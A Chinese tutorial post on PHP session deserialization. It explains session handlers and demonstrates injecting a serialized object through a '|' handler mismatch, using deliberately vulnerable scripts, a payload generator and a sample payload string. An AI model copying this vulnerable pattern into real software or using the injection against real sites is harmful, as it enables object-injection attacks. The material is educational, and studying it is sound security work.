PHP session反序列化漏洞超详细讲解

作者:奋斗的小智 时间:2023-05-25 08:54:18 

session请求过程

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session_start的作用

当会话自动开始或者通过session_start()手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

session存储机制

PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。

了解一下PHP Session在php.ini中主要存在以下配置项:

PHP session反序列化漏洞超详细讲解

在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同

PHP session反序列化漏洞超详细讲解

php处理器:

PHP session反序列化漏洞超详细讲解

php_binary处理器:

PHP session反序列化漏洞超详细讲解

php_serialize处理器:

PHP session反序列化漏洞超详细讲解

session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。

存在$_session变量赋值

PHP session反序列化漏洞超详细讲解

使用php_serialize引擎来存储session

session.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

session2.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
   var $name;
   var $age;
   function __wakeup(){
       echo "hello ".$this->name." !";
   }
}
?>

分析:

在session.php中存储,这里要注意,因为session.php存储器使用了php.serialize,而session.php使用的是php,因此漏洞的主要原因在于不同的引擎对于竖杠'| '的解析产生歧义。

对于php_serialize引擎来说'| '可能只是一个正常的字符;但对于php引擎来说'| '就是分隔符,前面是$_SESSION['username']的键名,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。

payload.php

<?php
class user {
   var $name;
   var $age;
}
$a = new user();
$a ->age="888";
$a ->name="cc";
echo serialize($a);
?>

漏洞复现:

|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

PHP session反序列化漏洞超详细讲解

然后使用session2.php读取:直接读文件就可以

PHP session反序列化漏洞超详细讲解

来源:https://blog.csdn.net/weixin_60719780/article/details/128952051

标签:PHP,session,反序列化,漏洞
0
投稿

猜你喜欢

  • [教程]用代码让你了解网页与键盘

    2008-06-10 12:18:00
  • 友情连接地址代码-线线表格

    2010-07-01 16:26:00
  • Apple在Safari 4中抛弃品牌视觉设计

    2009-02-26 13:05:00
  • 鼠标双击滚动屏幕单击停止代码

    2008-02-21 11:44:00
  • Magic Photo Frame 神奇创意相框

    2009-09-15 20:45:00
  • 如何用CSS实现图像替换链接文本显示并保证链接可点击

    2011-03-03 12:37:00
  • 按钮上的内容

    2007-11-27 00:13:00
  • jQuery 1.4 Released 新特性官方诠释

    2010-04-01 12:23:00
  • 向外扩展SQL Server 实现更高扩展性

    2008-12-18 14:45:00
  • JavaScript Table行定位效果

    2009-05-25 10:47:00
  • MYSQL教程:服务器优化和硬件优化

    2009-02-27 15:43:00
  • 一个CSS图片切换效果代码

    2008-02-12 12:17:00
  • asp如何实现对Session 数组的定义和调用?

    2010-05-18 18:40:00
  • 快速让MySQL数据库服务器支持远程连接

    2010-01-16 13:06:00
  • asp使用正则自动解析图片地址并保存

    2007-08-17 11:29:00
  • 如何检测用户第一次访问我的网站并显示友好信息?

    2009-11-25 20:33:00
  • ASP初学者学习ASP指令

    2008-10-14 17:27:00
  • FireScope-面向Web开发者和设计者的参考手册

    2009-03-22 15:35:00
  • SQL 中主标识列IDENTITY使用技巧

    2011-06-02 08:47:00
  • ASP中生成文件的两种方式

    2007-08-30 09:49:00
  • asp之家 网络编程 m.aspxhome.com